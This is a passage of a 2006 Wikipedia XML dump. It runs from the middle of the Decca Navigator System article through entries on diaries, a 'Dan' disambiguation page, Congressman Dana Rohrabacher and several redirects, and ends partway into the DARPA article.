When two stations transmit at the same [[phase-locked]] [[frequency]], the difference in phase between the two signals is constant along a hyperbolic path. Rather than all stations transmitting at the same frequency, each chain was allocated a nominal frequency, 1f, and the stations transmitted at a harmonic of this base frequency, as follows:
{| border=&quot;1&quot; align=&quot;center&quot; cellpadding=&quot;6&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse:collapse;border:1px solid gray;font-size:95%&quot;
|- style=&quot;background:#efefef;&quot;
! Station!! Harmonic !! Frequency (kHz)
|- align = &quot;center&quot;
| Master || 6f || 85.000
|- align = &quot;center&quot;
| Purple Slave || 5f || 70.833
|- align = &quot;center&quot;
| Red Slave || 8f || 113.333
|- align = &quot;center&quot; 
| Green Slave || 9f || 127.500
|-
|}

The frequencies given are those for Chain 5B, known as the English Chain, but all chains used similar frequencies.

Decca receivers multiplied the signal received from the Master and each Slave by different values to arrive at a common frequency for each Master/Slave pair, as follows:
{| border=&quot;1&quot; align=&quot;center&quot; cellpadding=&quot;6&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse:collapse;border:1px solid gray;font-size:95%&quot;
|- style=&quot;background:#efefef;&quot;
! Station!! Slave Harmonic !! Common Frequency !! Slave multiplier || Master multiplier
|- align = &quot;center&quot;
| Purple pattern || 5f || 30f || 6 || 5
|- align = &quot;center&quot;
| Red pattern || 8f || 24f || 3 || 4
|- align = &quot;center&quot;
| Green pattern || 9f || 18f || 2 || 3
|-
|}

It was this common frequency that resulted in the hyperbolic lines of position. The interval between two adjacent hyperbolas on which the signals are in phase was called a ''lane''. Since the wavelength of the common frequency was small compared with the distance between the Master and Slave stations there were many possible lines of position for a given phase difference, and so a unique position could not be arrived at by this method.

=== Lanes and Zones ===
Early Decca receivers were fitted with 3 rotating ''Decometers'' that indicated the phase difference for each pattern. The Decometers drove a second indicator that counted the number of lanes traversed &amp;#8211; each 360 degrees of phase difference was one lane traversed. In this way, assuming the point of departure was known, a more or less unique location could be identified. 

The lanes were grouped into ''zones'', with 18 green, 24 red, and 30 purple lanes in each zone. This meant that on the baseline (the straight line between the Master and its Slave) the zone width was the same for all patterns. Typical lane and zone widths (for chain 5B) are shown in the table below:

{| border=&quot;1&quot; align=&quot;center&quot; cellpadding=&quot;6&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse:collapse;border:1px solid gray;font-size:95%&quot;
|- style=&quot;background:#efefef;&quot;
! Lane or Zone!! Width on Baseline
|- align = &quot;center&quot;
| Purple lane || 352.1m
|- align = &quot;center&quot;
| Red lane || 440.1m
|- align = &quot;center&quot; 
| Green lane || 586.8m
|- align = &quot;center&quot; 
| Zones (all patterns)|| 10563m
|-
|}

The lanes were numbered 0 to 23 for red, 30 to 47 for green and 50 to 79 for purple. The zones were labelled A to J, repeating after J. A Decca position coordinate could thus be written: Red I 16.30; Green D 35.80. Later receivers incorporated a microprocessor and displayed a position in latitude and longitude.

=== Multipulse ===
''Multipulse'' provided an automatic method of lane and zone identification by using the same phase comparison techniques described above on lower frequency signals. 

The nominally continuous wave transmissions were in fact divided into a 20 second cycle, with each station in turn simultaneously transmitting all 4 Decca frequencies (5f, 6f, 8f and 9f) in a phase-coherent relationship for a brief period of 0.45 seconds each cycle. This transmission, known as Multipulse, allowed the receiver to extract the 1f frequency and so to identify which lane the receiver was in (to a resolution of a zone). 

As well as transmitting the Decca frequencies of 5f, 6f, 8f and 9f, an 8.2f signal, known as Orange, was also transmitted. The beat frequency between the 8.0f and 8.2f signals allowed a 0.2f signal to be derived and so resulted in a hyperbolic pattern in which one phase difference equates to 5 zones. 

Assuming that one&amp;#8217;s position was known to this accuracy, this gave an effectively unique position.

=== Range and Accuracy ===
During daylight ranges of around 400 [[nautical mile]]s could be obtained, reducing at night to 200 to 250 nautical miles, depending on propagation conditions. 

The accuracy depended on:
* Width of the lanes
* Angle of cut of the hyperbolic lines of position
* Instrumental errors
* Propagation errors (e.g. [[Skywave]])

By day these errors could range from a few meters on the baseline up to a nautical mile at the edge of coverage. At night, skywave errors were greater and on receivers without multipulse capabilities it was not unusual for the position to jump a lane, sometimes without the navigator knowing.

Although in the days of differential [[GPS]] this range and accuracy may appear poor, in its day the Decca system was one of the few, if not the only, position fixing system available to many mariners. Since the need for an accurate position is less when  vessel is further from land, the reduced accuracy at long ranges was not a great problem.

== History==
=== Origins===

In 1936 [[William J. O'Brien (Decca)|William J. O'Brien]], an American engineer, contracted tuberculosis which put his career on hold for a period of two years. During this period he had the idea of position fixing by means of phase comparison of continuous wave transmissions. The initial market envisaged was for aircraft and some experiments were carried out in California in 1938. However both the American Army and Navy considered the idea too complicated.

O&amp;#8217;Brien had a friend, Harvey F. Schwarz, who worked for the Decca company in England, and in 1939 sent him details of the system so it could be put forward to the British military. Initially [[Robert Watson-Watt]] reviewed the system but he did not follow it up. However, in October 1941 the British Admiralty Signal Establishment (ASE) became interested in the system, which was then classified as ''Admiralty Outfit QM''. O&amp;#8217;Brien came over to the UK and conducted the first marine trials between [[Anglesey]] and the [[Isle of Man]], at frequencies of 305/610 kHz, on [[16 September]] [[1942]]. These were successful and further trials were conducted in the northern [[Irish Sea]] in April 1943 at 70/130 kHz. A three-station trial was held in conjunction with a large-scale assault and landing exercise in the Moray Firth in February/March 1944. 

The success of the trials and the relative ease of use and accuracy of the system resulted in Decca receiving an order for 27 ''Admiralty Outfit QM'' receivers. The receiver consisted of an electronics unit with two dials and was known to its operators as the &quot;Blue Gasmeter Job&quot;. A Decca chain was set up, consisting of a master station at [[Chichester]] and slaves at [[Poole]] and [[Beachy Head]]. A fourth, decoy, transmitter was located in the [[Thames Estuary]] as part of the deception that the invasion would be focussed on the [[Calais]] area. 

Twenty-one minesweepers and other vessels were fitted with A''dmiralty Outfit QM'' and on [[5 June]] [[1944]] they used it to accurately navigate across the [[English Channel]] and to sweep the minefields in the planned areas. The swept areas were marked with buoys in preparation for the [[Normandy Landings]].

=== Deployment ===
After the end of [[World War II]] the Decca Navigator System expanded rapidly, particularly in areas of British influence, and at its peak it was deployed in many of the world's major shipping areas. There were 4 chains around [[England]], 1 in [[Ireland]] and 2 in [[Scotland]], 12 in [[Scandinavia]] (5 each in [[Norway]] and [[Sweden]] and 1 each in [[Denmark]] and [[Finland]]), a further 4 elsewhere in northern [[Europe]] and 2 in [[Spain]]. Other chains were established in [[Japan]] (6 chains); [[Namibia]] and [[South Africa]] (5 chains); [[India]] and [[Bangladesh]] (4 chains); [[Canada]] (4 chains around [[Newfoundland]] and [[Nova Scotia]]); North-West [[Australia]] (2 chains); the [[Persian Gulf]] (1 chain with stations in [[Qatar]] and the [[United Arab Emirates]] and a second chain in the north of the Gulf with stations in [[Iran]]) and the [[Bahamas]] (1 chain). Four chains were planned for [[Nigeria]] but only 2 chains were built and these did not enter into public service. There were also two chains in [[Vietnam]] which were used during the [[Vietnam War]] for helicopter navigation, with limited success.

=== Decca, Racal and the closedown ===

Decca Navigator was headquartered in a large residential property at Little Wymondley, Hertfordshire. There was a Decca School, at Brixham, Devon, where employees were sent on courses from time to time. 

[[Racal]], the UK weapons and communications company, acquired Decca in 1981 or thereabouts. Claiming the acquisition was to acquire Decca's radar company, rather than the avionics side of the business, it sold off parts including Decca Navigator. 

The [[monopoly]] on leased, not purchased, receivers by Decca generated great wealth for the company. This monopoly was later broken the early 1980s when receivers could be purchased by users, thereby reducing the cost following the lapse of the patent on the basic system technology.

A Danish company started manufacturing receivers for fishing boats which employed Decca's navigation charts, but users didn't pay rental for using the system. 

In the ensuing court battle Decca lost the monopoly, and that signalled the beginning of the end. Income dwindled and eventually, the UK [[Ministry of Transport]] stepped in, having the lighthouse authorities take responsibility for operating the system in the early 1990s.

A ruling from the [[European Union]] forced the UK government to withdraw funding - for fishermen users - and started the process which eventually resulted in the system being closed down and the installations scrapped.

The Decca Navigator System provided by the [[General Lighthouse Authorities]] ceased to operate at midnight on [[31 March]] [[2000]]. The Irish chain provided by Bórd Iascaigh Mhara continued transmitting until [[19 May]] [[2000]].

== Other Applications ==
A more accurate system was developed using signalling in the 1.6MHz range, named Hi-Fix, was used for specialised applications such as precision measurements involved with oil-drilling, etc. Other systems were used in the Middle East.

An interesting characteristic discovered on BOAC, later British Airways, test flights to Moscow, was that the carrier switching could not be detected even though the carrier could be received with sufficient strength to provide navigation. Such testing, involving civilian aircraft, is quite common and may well not be in the knowledge of a pilot.

The 'low frequency' signalling of the Decca system also permitted its use on submarines. One 'enhancement' of the Decca system was to offer the potential of keying the signal, using Morse code, to signal the onset of nuclear war. This was never optioned by the UK government. Messages were clandestinely sent, however, between Decca stations thereby bypassing ancient international telephone calls, especially in non-UK chains.

== References ==
* Decca Navigator - Principles and Performance of the System, The Decca Navigator Company Limited, July 1976
* Night Passage to Normandy, Lieutenant-Commander Oliver Dawkins, R.N.V.R, Decca, 1969
* The Decca Navigator System on D-Day, [[6 June]] [[1944]], An Acid Test, Commander Hugh St. A. Malleson, R.N. (Ret.)
* Hyperbolic Radionavigation Systems (Compiled by Jerry Proc VE3FAB) [http://www.jproc.ca/hyperbolic/]

[[Category:Radio navigation]]

[[de:Decca Navigation System]]
[[nl:DECCA]]</text>
    </revision>
  </page>
  <page>
    <title>Diary</title>
    <id>8951</id>
    <revision>
      <id>41701761</id>
      <timestamp>2006-03-01T03:54:46Z</timestamp>
      <contributor>
        <username>Elkman</username>
        <id>346341</id>
      </contributor>
      <comment>rm linkspam</comment>
      <text xml:space="preserve">:'' See [[Diary (novel)]] for the novel by [[Chuck Palahniuk]] and [[Diary (album)]] for  an album by [[Sunny Day Real Estate]]''

[[Image:appointment_diary.jpg|thumb|An appointment diary]]


A '''diary''' or '''journal''' is a [[book]] for [[writing]] discrete entries arranged by date. It can be used for recording in advance of appointments and other planned activities, and/or for reporting on what has happened over the course of a day or other period. Such [[log]]s play a role in many aspects of human civilization, including governmental, business [[ledger]]s, and military [[record]]s. Diaries run the spectrum from business notations, to listings of weather and daily personal events, through to inner exploration of the psyche, or a place to express one's deepest self. Some use the words &quot;diary&quot; and &quot;[[journal]]&quot; interchangeably while others apply strict differences to journals, diaries and journaling: dated, undated, inner focused, outer focused, forced, etc.  The current preference (based on book and article titles) is to use the word &quot;journal.&quot; The phrase &quot;'''journaling'''&quot; is often used to describe such [[hobby]] writing, similar to the term &quot;[[scrapbooking]].&quot;

Some diarists think of their diaries as a special friend, even going so far as to name them. For example, [[Anne Frank]] called her diary &quot;Kitty&quot;. There is a strong psychological effect of having an audience for one's self-expression, a personal space, or a &quot;listener,&quot; even if this is the book one writes in, only read by oneself.

More than 16,000 diaries have been published since book [[publishing]] began. See [[List of diarists]]. 

Additionally, the diary is a popular form for works of [[fiction]].  See [[List of fictional diaries]].

==History==
The word ''diary'' comes from the [[Latin]] ''diarium'' (&quot;daily allowance&quot;, from ''dies'', &quot;day&quot; - more often in the plural form ''diaria''). The word &quot;journal&quot; comes from the same root (''diurnus'' = of the day) through &quot;journey&quot;. 

The oldest extant diaries come from East Asian cultures, [[pillowbook]]s of [[Japan]]ese court ladies and [[Asia]]n travel journals being some of the oldest surviving specimens of this genre of writing. 

Sales of &quot;page a day&quot; diaries go back hundreds of years ([[Letts]], for example, is over 200 years old). At first, most of these books were used as [[ledger]]s, or business books. [[Samuel Pepys]] is the earliest diarist that is well known today, although he had contemporaries who were also keeping diaries. ([[John Evelyn]] for one.) Pepys also was apparently at a turning point in diary history, for he took it beyond mere business transaction notation, into the realm of the personal. 

Until, it seems, around the turn of the [[20th century]], with greater literacy and industrialization throughout the globe, particularly the [[Western world]], diary writing was mostly limited to the members of the higher [[social class|social classes]]. In the [[Western World|West]], at least, a high proportion of historical and literary figures from the Renaissance to the [[20th century]] seem to have kept a diary. (see list below)

[[Tristine Rainer]]'s 1978 ''The New Diary'' expanded awareness of diary-keeping as a literary genre, particularly among [[feminism|feminists]]. Acknowleding key figures in the resurgence of diary writing such as [[Carl Jung]], [[Marion Milner]], [[Ira Progoff]] and [[Anaïs Nin]], she identified techniques that people use either spontaneously or have employed in their daily writing to explore themselves and their experience of the world. Rainer's idea, as expressed in the title, is that a diary is much more than a dry record of weather or daily events--it allows the writer to communicate deep and often spiritual realizations. [[Social history|Social historians]] were particularly interested in this, as it expanded greatly the number of [[historiography|historical texts]] available to them.

In the [[United States]] during the 1990's various [[K-12]] [[pedagogy|educators]] used a variety of journals across subject areas to encourage and document student progress, including pre-literate picture journals and &quot;math journals&quot; to aid in developing [[mathematics|mathematical concepts]] in an individualized way, in accordance with [[Lev Vygotsky]]'s concepts of [[instructional scaffolding]]. Another popular adaptation of the diary is the personal use of [[time management]] tools such as the [[FiloFAX]] or [[Franklin Planner]].

==Appeal==

One of the most tempting things about diaries is that writing one is accessible to anyone with [[pen]] and [[paper]]. No education is needed. One doesn't need to know how to [[spell]] or use [[grammar]]. Writing a diary is something some people are driven to do, often as a way to put their existence into perspective. Too often the modern Western stereotype is that diaries are written only by [[teenage]] [[girl]]s and inexpensive diaries sold in &quot;cute&quot; colors with locks and keys helped this [[illusion]]. &lt;!--Not sure when those became popular - 1940s or 1950s.--&gt; Now, many people prefer the word &quot;journal&quot; so as to avoid this stereotype and to expand the diary's use beyond a mere catalog of events.

==Healing==

In the [[1960s]] Ira Progoff pioneered the use of diaries in [[psychotherapy]], publishing on his [[Intensive Journal Method]] in 1975. Rainer and Progoff's work helped to increase the use of journals in personal or [[psychotherapy]], and a small library of books on various journal techniques, into the present day. The [[Intensive Journal Method]] is the most famous, but there are dozens, mostly building on techniques mentioned or described by Progoff and Rainer. Many of these books focus on using the journal or diary for &quot;self-awareness&quot;, &quot;finding your true self&quot;, and healing from any number of personal troubles, including physical illness and trauma). Popular among [[creative writing|creative writers]], several of these entered into the formal teaching of composition as &quot;prewriting&quot; techniques or adapted for [[notetaking]].

''Related articles'': [[List of writing techniques]] and [[List of books on diaries and journals]].

==Internet diaries==

:''Main article: [[Online diary]]''

As [[Internet]] access became commonly available, people naturally adopted it as yet another medium with which to chronicle their lives, with the added dimension of having an audience (negating, to some, the very definition of &quot;diary&quot;).  Apart from the odd tangent on [[USENET]] and posts to proprietary forums on the earliest [[Internet service provider]]s, the first [[online diary]] is believed to be that of [http://diary.carolyn.org Carolyn Burke], which debuted on the [[world wide web|web]] in January [[1995]]. The number of people publishing web journals grew quickly, but for some time the practice was limited to people who had both internet access and a familiarity with [[HTML]].  However, several diverse communities of web diarists eventually developed.
Once broadband had become widespread new online business diaries started to appear. Their services were chargeable. One of the first to appear was the [[internetdiary]] which came on line in February 2004 and now is one of the most popular services for small to medium sized business

====Blogs====
Easy-to-use web-based services soon appeared to make [[online publishing]] easier.  But the great explosion in personal storytelling came with the emergence of [[weblog]]s, also known as '''blogs'''.  While the format was at first focused on external links and topical commentary, widespread weblog tools were quickly seized upon to create web journals - albeit consisting of short, spontaneous entries rather than crafted essays.  Further, the weblog community was more naturally comfortable with networking and linking, creating a thriving online community.  Much like the web diarist community that came before, there were [[clique]]s and protests over a supposed [[A-list]] of authors.  Like online journals, &quot;personal weblogs&quot; are frequently maligned in the broader web log community as a form of &quot;navel gazing.&quot;

Some weblog services are small and merely offer a way to publish one's writing, while others have become true communities offering opportunities for [[feedback]] and communication with fellow diarists. While many of the people using these online communities are presumed to be teenage girls and young people, (who perhaps see them as a way to keep their inner thoughts secret from their families while expressing and exploring their feelings and the experience of growing up), there is a fair amount of evidence that the [[stereotype]] is fading with the growing prevalence of journals and weblogs on the internet.

==Online services==
Some [[online diary]] [[website]] or [[blog]] hosts:
*'''A''': [http://www.aeonity.com Aeonity]
*'''B''': [http://www.bcz.com BCZ Blogs]; [[Blogger.com|Blogger]]; [http://www.blogspot.com Blog Spot]
*'''D''': [http://www.diarist.com Diarist]; [http://www.diaryis.com Diary IS]; [http://www.diaryland.com Diaryland]; [http://www.diary-x.com Diary-X]
*'''E''': [http://www.exteen.com Exteen]
*'''H''': [http://www.healthdiaries.com Health Diaries]; [http://www.hotdiary.com HotDiary]
*'''I''': [http://www.internetdiary.net Internetdiary]
*'''L''': [[LiveJournal]]
*'''M''': [http://www.monkeybard.com Monkeybard]
*'''O''': [http://www.opendiary.com Open Diary]
*'''S''': [http://www.storythai.com StoryThai]
*'''T''': [http://www.travel-diaries.com Travel-Diaries]
*'''X''': [[Xanga]]

==References==

*''The New Diary: How to Use a Journal for Self-Guidance and Expanded Creativity'' by Tristine Rainer, 1978.

==See also==
*[[List of writing techniques]]
*[[List of books on diaries and journals]]
*[[List of diarists]]
*[[Long Now Foundation]]

==External links==
*[http://groups.google.com/group/comp.infosystems.www.announce/browse_frm/thread/7a77561b5796150e/34c1097809c9529b#34c1097809c9529b First web announcement of an on-line journal (The Semi-Existence of Bryon)]
*[http://www.yomanim.com A Site dedicated to Hebrew Novels and Short Stories which are written in a style of a diary(The meaning of the word Yomanim in Hebrew is Diaries)]

[[Category:Books by type]]
[[Category:Blogs]]

[[da:Dagbog]]
[[de:Tagebuch]]
[[es:Diario]]
[[eo:Taglibro]]
[[fr:Journal intime]]
[[ko:일기]]
[[it:Diario]]
[[he:יומן]]
[[nl:Dagboek]]
[[ja:日記]]
[[pl:Dziennik (literatura)]]
[[sv:Dagbok]]
[[vo:Delabuk]]
[[zh:日记]]</text>
    </revision>
  </page>
  <page>
    <title>Dan</title>
    <id>8952</id>
    <revision>
      <id>41669055</id>
      <timestamp>2006-02-28T23:25:02Z</timestamp>
      <contributor>
        <username>Haukurth</username>
        <id>16226</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Wiki man sam|Wiki man sam]] ([[User talk:Wiki man sam|talk]]) to last version by Gershwinrb</comment>
      <text xml:space="preserve">'''Dan''' may be:
* a short form of [[Daniel (name)]]
* acronym for [[Divers Alert Network]], a scuba diving association
* [[Dan (biblical figure)]], one of the sons of Jacob
* [[Tribe of Dan]], descendants of the biblical figure
* [[Fedor Dan]], Russian Marxist revolutionary
* [[Dan Bus Cooperative]], a bus company in Israel which operates in the Gush Dan area
* [[Gush Dan]], a large metropolitan block in Israel, from Rishon LeZion to Ramat Aviv (north Tel Aviv)
* [[Tel Dan]], a city in the ancient Kingdom of Israel
* [[Dan (king)|Dan (Danish)]], the name of one or more legendary Danish kings.
* [[dan rank]], a scale of grades in martial arts and Japanese cultural arts
* [[Dan (kibbutz)]], in northern Israel
* [[Dan (stream)]], one of the three large streams who form the Jordan River in Israel
* [[Dan Hibiki]], parody character in several Capcom games
* [[Dan (Chinese opera)]], the general name for female roles in Chinese Opera
* [[Dan (Hinduism)]], the Hindu philosophy conception of Charity.
* [[Dan (newspaper)]], daily newspaper published in Podgorica

{{disambig}}

[[da:Dan]]
[[de:Dan]]
[[he:דן]]
[[nl:Dan]]
[[sl:Dan (razločitev)]]
[[sv:Dan]]</text>
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  </page>
  <page>
    <title>Dana Rohrabacher</title>
    <id>8953</id>
    <revision>
      <id>41717329</id>
      <timestamp>2006-03-01T06:52:04Z</timestamp>
      <contributor>
        <username>Gandalfxviv</username>
        <id>851818</id>
      </contributor>
      <minor />
      <comment>/* Education */ bypassed disambiguation MA</comment>
      <text xml:space="preserve">'''Dana Rohrabacher''' (born [[June 21]] [[1947]]) in [[Coronado, California]], is an [[United States|American]] politician, who has been a [[Republican Party (United States)|Republican]] member of the [[United States House of Representatives]] since [[1989]], representing the 46th District of [[California]] ([http://nationalatlas.gov/printable/images/preview/congdist/ca46_109.gif map]). 

==Education==
Rohrabacher graduated from Palos Verdes High School in [[Rancho Palos Verdes, California]], attended Harbor Junior College, and received his [[Bachelor of Arts|bachelor's degree]] in history from [[California State University, Long Beach]] in [[1969]]. He received his [[Master of Arts (postgraduate)|master's degree]] in [[American Studies]] from the [[University of Southern California]].

==Tenure at the Reagan White House==
Prior to his election to Congress in [[1988]], Rohrabacher served as Special Assistant to [[President of the United States|President]] [[Ronald Reagan]]. For seven years he was one of the President's senior speechwriters. During his tenure at the [[White House]], Rohrabacher played a leading role in the formulation of the [[Reagan Doctrine]]. He also helped formulate President Reagan's Economic Bill of Rights, a package of economic reforms that the President introduced in a speech before the [[Jefferson Memorial]]. 

==Congressional career==
[[Image:DanaRohrabacherChair.png|thumb|right|250px|Rohrabacher presides over a meeting of the Space and Aeronautics Subcommittee of the House Science Committee.]]
With Reagan soon leaving office, Rohrabacher left the Administration in [[1988]] to pursue the open House seat recently vacated by [[Dan Lungren]].  With the fundraising help of friend [[Oliver North]], Rohrabacher was able to win the Republican primary and capture the seat, centered around northern coastal [[Orange County, California|Orange County]]. A friend and fellow White House aide, [[Christopher Cox]], won a seat in the same election in southern Orange County. The pair remained close, though Cox — now chairman of the [[U.S. Securities and Exchange Commission|Securities and Exchange Commission]] — rose in the party hierarchy while the more iconoclastic Rohrabacher charted his own course.

Rohrabacher was Chairman of the Space and Aeronautics Subcommittee of the [[U.S. House Committee on Science|House Science Committee]] from [[1997]] until [[January 2005]], having received a two-year waiver to serve beyond the six-year term limit.

As a senior member of the [[U.S. House Committee on International Relations|International Relations Committee]], Rohrabacher led the effort to deny [[Most Favored Nation]] trading status to the [[People's Republic of China]], citing that nation's dismal human rights record and opposition to democracy. His subcommittee assignments are East Asia and Pacific, and Middle East and South Asia.

==Political Views==
Rohrabacher is a staunch opponent of illegal immigration.  He authored California's [[California Proposition 187 (1994)|Proposition 187]], which sought to deny immigrants without proper documentation any government services, including education for their children. In [[2004]] he proposed a bill to withhold emergency room services to people who cannot prove their immigration status. The proposed bill was overwhelmingly defeated [http://thomas.loc.gov/cgi-bin/bdquery/z?d108:h.r.03722:].

Rohrabacher supports giving [[Washington, D.C.]] residents the right to vote for congressional representation as [[Maryland]] residents.

==Controversies==
===Involvement with Afganistan and the Taliban===
{{Unreferencedsect}}

Mr. Rohrabacher had a history of involvement in Afghanistan dating back to the [[Cold War]], when he openly supported the groups that would later coalesce into the Taliban regime for their active opposition to the [[Soviet Union]], including fighters under the command of [[Osama bin Laden]].{{fact}} 

In late 1988, Rohrabacher went to Afganistan:

:After I left the White House and was elected to Congress, but before I was sworn into Congress, I knew I had that two months between November and January to do things that I could never do once I was elected to Congress. I chose to hike into Afghanistan as part of a small Mujahedin unit and to engage in a battle against the Russian and communist forces near and around the city of Jalalabad.[http://www.politicsol.com/guest-commentaries/2001-09-18.html] 

In the November/December 1996 issue of ''Washington Report on Middle East Affairs'', Rohrabacher was reported as saying that the Taliban were not terrorists or revolutionaries, that they would develop a disciplined society that would leave no room for terrorists, and that the Taliban posed no threat to the United States.[http://www.washington-report.org/backissues/1196/9611008.htm]

However, in a September 11, 1998 editorial in the ''[[The Washington Post]]'', Rohrabacher strongly rebuked the Taliban for their obstinacy in providing refuge to Osama bin Laden, mass killings of Shi'ites and ethnic Uzbeks, Turks, and Tajiks, and restrictions on the rights of Afghan women and children:

:It has been no secret that bin Laden has been sheltered by the Taliban. The Clinton administration was mute while one of the most violent anti-Western Muslim sects spilled into Afghanistan from their Pakistan-based &quot;religious schools&quot; and took control of the capital. We remained paralyzed while they moved to destroy moderate Muslim forces. While administration officials expressed concern of the Taliban's complete denial of rights for women, it was little more than lip service. Even modest support from the United States for moderate Muslim forces in Afghanistan and serious political pressure on Pakistan could have thwarted the takeover of this strategically important country by these militant extremists. The danger of the spread of fanaticism expressed by the newly independent republics of Central Asia was smugly ignored.{{fact}}

During the summer of 2001, Rohrabacher made a trip to [[Qatar]] that was paid for by the Islamic Institute and the Government of Qatar, according to Rohrabacher’s financial disclosure forms.  While in Qatar, Rohrabacher, [[Grover Norquist]], and Khaled Saffuri met with [[Taliban]] Foreign Minister Mullah Wakil Ahmed Muttawakil.  Wakil reportedly asked for help in increasing the amount of foreign aid sent by the [[United States]] to [[Afghanistan]], apparently in exchange for U.S. oil company [[UNOCAL]] being allowed to construct of an oil pipeline through Afghanistan. If Rohrabacher was conducting diplomacy, he was in violation of the [[Logan Act]], which prohibits citizens from doing so if not in an official capacity.  Rohrabacher told wire service reporters who were present in [[Doha, Qatar]] at the time that he had discussed a “peace plan” with the Taliban. But Norquist, a close associate of Rohrabacher, said that the meeting happened accidently and that it included Rohrabacher yelling at them about blowing up the Buddhist statues&quot; in Afganistan.[http://www.frontpagemag.com/Articles/ReadArticle.asp?ID=11901]

The Taliban later announced in Kabul that it had rejected what it considered were unreasonable demands by the U.S. side. Rohrabacher’s staff would not answer questions about the Taliban talks.  [http://www.frontpagemag.com/Articles/ReadArticle.asp?ID=11901] After his diplomatic overtures were apparently rejected, Mr. Rohrabacher became one of the most fervent public opponents of the Taliban.{{fact}}  

After the [[September 11, 2001 attacks]], Mr.Rohrabacher claimed that the attacks were due to incompetence on the part of the [[Bill Clinton|Clinton]] administration. [http://www.ocweekly.com/ink/03/01/cover-moxley.php]

===Possible ethics violations===
On [[November 4]], [[2005]], The ''[[Los Angeles Times]]'' reported that Rohrabacher &quot;used his influence to open doors in Washington for a Hollywood producer pitching a television show after the producer paid him a $23,000 option on a screenplay.&quot; [http://www.latimes.com/news/local/la-me-rohrbacher4nov04,0,3476995.story?coll=la-home-headlines] The producer, Joseph Medawar, has since been indicted on fraud charges by the FBI and has plead not guilty. The question is whether the producer paid him the money for the screenplay or if the money was for the introductions to congressional and federal officials conducted by Rohrabacher. Rohrabacher claims that the introductions were done in good faith and were nothing that was not done regularly for legimate causes, and that the introductions have only become an issue because of Joseph Medawar's misdeeds.

===Links to Jack Abramoff===
Rohrabacher is also connected to indicted former lobbyist [[Jack Abramoff]], who has been charged with fraud in connection with his purchase of the [[SunCruz Casinos]].  Rohrabacher was listed as a financial reference for Abramoff.  &quot;I don't remember it, but I would certainly have been happy to give him a good recommendation,&quot; Rohrabacher said. &quot;He's a very honest man.&quot;[http://www.washingtonpost.com/wp-dyn/content/article/2005/04/30/AR2005043001147_pf.html]

==Family==
In August of [[1997]] Rohrbacher married Orange County political operative (and fellow [[surfing|surfer]]), Rhonda Carmony. On [[April 27]], [[2004]], he and his wife became parents to triplets.

==Libertarian==
{{Unreferencedsect}}
Rohrabacher was an influencial activist in the radical [[anarcho-capitalist]] movement, starting from about [[1969]],[http://www.free-market.net/resources/fnn/2004spring/sek-iii-riggenbach.html] though he drifted towards the mainstream along with [[Charles Koch]], the billionare who helped fund his political campaigns.{{fact}}

He worked for awhile in the early 1970s as an editorial writer for ''The Register'' (today called ''[[The Orange County Register]]'') [[newspaper]] in [[Santa Ana, California]], then a conservative newspaper with a libertarian bent.[http://www.space.com/peopleinterviews/rohrabacher_profile_000519.html]

In addition to surfing, Rohrabacher is an amateur musician who in the late 1980s appeared, alongside Cox, to sing at the Orange County Press Club's musical lampooning annual political events.

In the late 1960s and early 70s, Rohrabacher was influenced by the [[anarcho-capitalist]] ideas of [[Robert LeFevre]], who had moved his Freedom School to [[Santa Ana, California]], renaming it [[Rampart College]]. [http://www.newswithviews.com/NWO/newworld29.htm] Rohrabacher would appear at various meetings and conferences, including the &quot;Left-Right Festival of Mind Liberaton&quot; in 1969. [http://www.blackcrayon.com/library/mll/history/]Rohrabacher would often play the four-string banjo and sing his original libertarian-themed songs, including &quot;Individual Man&quot;: &quot;I don't own nobody. Nobody does own me. I'm just an individual man, just want to be free...&quot;{{fact}}

==External links==

*[http://rohrabacher.house.gov/ Official Web Site]
* {{bioguide link | id = R000409 | name = Dana Rohrabacher}}
* {{nndb name | id = 290/000040170 | name = Dana Rohrabacher}}

{{CA-FedRep}}

[[Category:1947 births|Rohrabacher, Dana]]
[[Category:Living people|Rohrabacher, Dana]]
[[Category:Members of the United States House of Representatives from California|Rohrabacher, Dana]]</text>
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    <title>Deutsche Marine</title>
    <id>8954</id>
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      <timestamp>2005-03-31T01:25:57Z</timestamp>
      <contributor>
        <ip>83.109.148.2</ip>
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      <text xml:space="preserve">#REDIRECT [[German Navy]]</text>
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  <page>
    <title>DoD</title>
    <id>8955</id>
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      <timestamp>2005-11-28T17:27:03Z</timestamp>
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      <comment>Robot: Fixing [[Special:DoubleRedirects|double-redirect]] -&quot;DOD&quot; +&quot;United States Department of Defense&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[United States Department of Defense]]</text>
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  <page>
    <title>DARPA</title>
    <id>8956</id>
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      <contributor>
        <username>Paddu</username>
        <id>6949</id>
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      <comment>{{R from abbreviation}}</comment>
      <text xml:space="preserve">#REDIRECT [[Defense Advanced Research Projects Agency]]</text>
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  <page>
    <title>Defense Advanced Research Projects Agency</title>
    <id>8957</id>
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        <ip>153.29.160.34</ip>
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      <comment>/* See also */</comment>
      <text xml:space="preserve">The '''Defense Advanced Research Projects Agency''' ('''DARPA''') is an [[government agency|agency]] of the [[United States Department of Defense]] responsible for the development of new [[technology]] for use by the [[military of the United States|military]]. DARPA was responsible for funding development of many technologies which have had a major impact on the world, including [[computer networking]] (starting with the [[ARPANET]], which eventually grew into the [[Internet]]), as well as [[NLS (computer system)|NLS]], which was both the first [[hypertext]] system, and an important precursor to the contemporary ubiquitous [[graphical user interface]].

Its original name was simply '''Advanced Research Projects Agency''' ('''ARPA'''), but it was renamed DARPA (for Defense) on [[March 23]], [[1972]], then back to ARPA on [[February 22]], [[1993]], and then back to DARPA again on [[March 11]], [[1996]].

DARPA was established in 1958 in response to the Soviet launching of [[Sputnik I|Sputnik]], with the mission of keeping the US's military technology ahead of its enemies. DARPA is independent from other more conventional military R&amp;D and reports directly to senior Department of Defense management. DARPA has around 240 personnel (about 140 technical) directly managing a $2 billion budget. These figures are &quot;on average&quot; since DARPA focuses on short-term (two to four-year) projects run by small, purpose-built teams.

==DARPA's Mission== 

From [http://www.darpa.mil/body/pdf/BridgingTheGap_Feb_05.pdf DARPA's own introduction (pdf)]: &quot;DARPA is a Defense Agency with a unique role within DoD. DARPA is not tied to a specific
operational mission: DARPA supplies technological options for the entire Department, and is designed to be the “technological engine” for transforming DoD.

